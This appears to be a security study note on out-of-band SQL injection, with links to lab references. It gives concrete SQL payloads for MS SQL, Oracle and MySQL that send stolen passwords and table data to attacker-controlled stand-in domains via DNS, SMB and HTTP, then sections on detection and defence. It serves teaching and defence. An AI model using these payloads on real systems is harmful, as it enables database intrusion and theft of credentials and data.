sqli - Out of Band
- https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band
- https://www.acunetix.com/websitesecurity/sql-injection2/
What is Out-of-Band SQL Injection?
Out-of-Band (OOB) SQL Injection is an advanced attack technique where attackers extract data from a database using alternative communication channels rather than the standard web application response channel. Unlike traditional SQL injection methods, OOB attacks leverage external network protocols to exfiltrate data.
Key Characteristics
Communication Channels Used
- System Requests: Domain name resolution queries
- HTTP/HTTPS Requests: Web protocol communications
- Email Functionality: Database mail services
- File Operations: Reading/writing to network shares
- FTP Connections: File transfer protocols
Why Use Out-of-Band Techniques?
Attackers resort to OOB SQL injection when:
- In-Band Attacks Fail: Standard SQL injection doesn't work
- Blind Injection is Too Slow: Time-based attacks are impractical
- Network Restrictions: Firewalls block direct data exfiltration
- Application Filtering: Web application filters prevent traditional attacks
- Large Data Extraction: Need to transfer substantial amounts of data efficiently
Attack Prerequisites
Technical Requirements
- Database Server Capabilities: Target database must support external communications
- Network Connectivity: Database server needs internet/network access
- Attacker Infrastructure: Controlled server to receive exfiltrated data
- Specific Database Functions: Access to communication-enabled stored procedures
Common Vulnerable Configurations
- Databases with external network access enabled
- Systems with DNS resolution capabilities
- Servers with email functionality configured
- Databases with file system access permissions
Database-Specific Techniques
Microsoft SQL Server
xp_dirtree Command Exploitation
-- Force DNS lookup to attacker-controlled domain
DECLARE @data VARCHAR(100)
SELECT @data = (SELECT TOP 1 password FROM users WHERE username='admin')
EXEC xp_dirtree CONCAT('\\', @data, '.attacker-domain.com\share')
How it Works:
- Data Extraction: SQL query retrieves sensitive data (password)
- Domain Construction: Data is embedded in subdomain name
- DNS Request:
xp_dirtreeforces DNS lookup to attacker's domain - Data Reception: Attacker's DNS server logs the subdomain containing data
Other SQL Server Functions
-- Using xp_fileexist for DNS exfiltration
EXEC xp_fileexist CONCAT('\\', @stolen_data, '.evil-domain.com\file.txt')
-- Using xp_subdirs for directory enumeration with DNS
EXEC xp_subdirs CONCAT('\\', @database_info, '.attacker.com\')
Oracle Database
UTL_HTTP Package Exploitation
-- Send HTTP request with stolen data
DECLARE
response UTL_HTTP.resp;
stolen_data VARCHAR2(100);
BEGIN
SELECT password INTO stolen_data FROM users WHERE username='admin';
response := UTL_HTTP.begin_request('http://attacker-server.com/collect?data=' || stolen_data);
UTL_HTTP.end_request(response);
END;
Process Breakdown:
- Data Query: Extract sensitive information from database
- HTTP Request: Send data as URL parameter to attacker's server
- Data Collection: Attacker's web server logs the request with data
UTL_INADDR for DNS Exfiltration
-- Use DNS resolution for data exfiltration
SELECT UTL_INADDR.get_host_name(
CONCAT(
(SELECT password FROM users WHERE username='admin'),
'.data-exfil.attacker.com'
)
) FROM dual;
MySQL Database
LOAD_FILE() with UNC Paths
-- Force SMB connection to attacker-controlled server
SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1),
'.attacker-domain.com\\share\\file.txt'));
Attack Methodology
Phase 1: Reconnaissance
- Database Type Identification: Determine target database system
- Function Availability: Check for external communication functions
- Network Connectivity: Test if database can reach external hosts
- Permission Assessment: Verify required privileges exist
Phase 2: Infrastructure Setup
- DNS Server Configuration: Set up authoritative DNS server
- Web Server Deployment: Configure HTTP listener for data collection
- Domain Registration: Obtain domains for data exfiltration
- Logging Mechanism: Implement data capture and storage
Phase 3: Data Exfiltration
- Payload Crafting: Create SQL injection with OOB components
- Data Encoding: Format data for transmission via chosen channel
- Request Execution: Trigger database to send external requests
- Data Collection: Capture and decode exfiltrated information
Advanced Techniques
DNS Tunneling
-- Break large data into multiple DNS requests
DECLARE @counter INT = 1
DECLARE @chunk VARCHAR(50)
WHILE @counter <= (SELECT LEN(sensitive_data)/50 FROM target_table)
BEGIN
SET @chunk = SUBSTRING((SELECT sensitive_data FROM target_table), (@counter-1)*50+1, 50)
EXEC xp_dirtree CONCAT('\\chunk', @counter, '-', @chunk, '.tunnel.attacker.com\x')
SET @counter = @counter + 1
END
HTTP POST Exfiltration (Oracle)
-- Send larger datasets via HTTP POST
DECLARE
req UTL_HTTP.req;
resp UTL_HTTP.resp;
stolen_data CLOB;
BEGIN
SELECT xmlagg(xmlelement(e, column_name || ':' || column_value)).getClobVal()
INTO stolen_data FROM sensitive_table;
req := UTL_HTTP.begin_request('http://attacker.com/collect', 'POST');
UTL_HTTP.set_header(req, 'Content-Type', 'application/x-www-form-urlencoded');
UTL_HTTP.write_text(req, 'data=' || stolen_data);
resp := UTL_HTTP.get_response(req);
UTL_HTTP.end_response(resp);
END;
Detection and Monitoring
Network-Level Detection
- DNS Query Monitoring: Unusual DNS resolution patterns
- HTTP Traffic Analysis: Unexpected outbound web requests
- Firewall Logs: Database servers making external connections
- Network Flow Analysis: Abnormal data transfer patterns
Database-Level Detection
- Audit Logging: Monitor execution of external communication functions
- Query Pattern Analysis: Detect SQL injection in stored procedures
- Permission Monitoring: Track usage of network-enabled functions
- Performance Metrics: Identify resource-intensive operations
Indicators of Compromise
- Database servers resolving suspicious domains
- Outbound HTTP requests from database processes
- DNS queries with encoded data in subdomains
- SMB connections to external hosts
- Email functionality being used programmatically
Defense Strategies
Network Security
- Firewall Rules: Block unnecessary outbound connections from database servers
- DNS Filtering: Prevent resolution of suspicious domains
- Network Segmentation: Isolate database servers from internet
- Proxy Configuration: Route database communications through monitored proxies
Database Hardening
- Function Restrictions: Disable unnecessary extended stored procedures
- Permission Management: Remove network access privileges where possible
- Input Validation: Implement strict SQL injection prevention
- Audit Configuration: Enable comprehensive database activity logging
Application Security
- Parameterized Queries: Use prepared statements exclusively
- Input Sanitization: Validate and encode all user inputs
- Error Handling: Implement consistent, non-revealing error messages
- Security Testing: Regular penetration testing and code reviews
Mitigation Best Practices
Immediate Actions
- Disable
xp_dirtree,xp_fileexist, and similar functions if not needed - Remove UTL_HTTP, UTL_INADDR packages from Oracle if unused
- Implement network ACLs blocking database server internet access
- Enable database audit logging for external communication attempts
Long-term Security
- Deploy database activity monitoring (DAM) solutions
- Implement data loss prevention (DLP) systems
- Regular security assessments of database configurations
- Staff training on advanced SQL injection techniques
Real-World Impact
Case Study Scenarios
- Corporate Espionage: Exfiltrating customer databases via DNS tunneling
- Financial Fraud: Stealing credit card data through HTTP requests
- Data Breaches: Large-scale information theft using email functionality
- Competitive Intelligence: Extracting business secrets via file operations
Conclusion
Out-of-Band SQL Injection represents one of the most sophisticated database attack techniques, requiring significant technical expertise and infrastructure. While complex to execute, these attacks can bypass many traditional security measures and extract large amounts of sensitive data.
Organizations must implement comprehensive defense strategies that address not only application-level vulnerabilities but also network and database-level security controls. The key to effective protection lies in understanding that modern SQL injection attacks extend far beyond simple web application responses.
Key Takeaways
- OOB attacks use alternative communication channels for data exfiltration
- Different database systems offer various functions for external communication
- Detection requires monitoring at network, database, and application levels
- Defense strategies must be multi-layered and comprehensive
- Regular security assessments are critical for identifying vulnerabilities